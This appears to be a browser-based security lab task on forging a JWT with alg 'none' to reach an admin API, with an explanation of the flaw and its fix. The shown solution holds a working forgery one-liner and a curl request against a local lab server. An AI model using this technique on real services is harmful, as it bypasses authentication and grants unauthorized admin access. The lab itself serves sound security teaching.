Forge an admin token
The admin API at /app/admin accepts a JWT but trusts the token's own alg header. Get a guest token from /app/token, forge one that claims role: admin with alg: none, and capture the flag the admin API returns, saving it under your home.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
The server read alg from the very token it was trying to verify, so declaring alg: none told it to skip the signature and accept your forged admin claim. Verify tokens with a pinned algorithm and a strong key, reject none, and never let the token dictate how it's checked.
Show solution
cd /home/student
FORGED=$(python3 -c "import base64,json;e=lambda b:base64.urlsafe_b64encode(b).rstrip(b'=').decode();print(e(json.dumps({'alg':'none','typ':'JWT'}).encode())+'.'+e(json.dumps({'user':'guest','role':'admin'}).encode())+'.')")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:8080/app/admin | tee loot.txt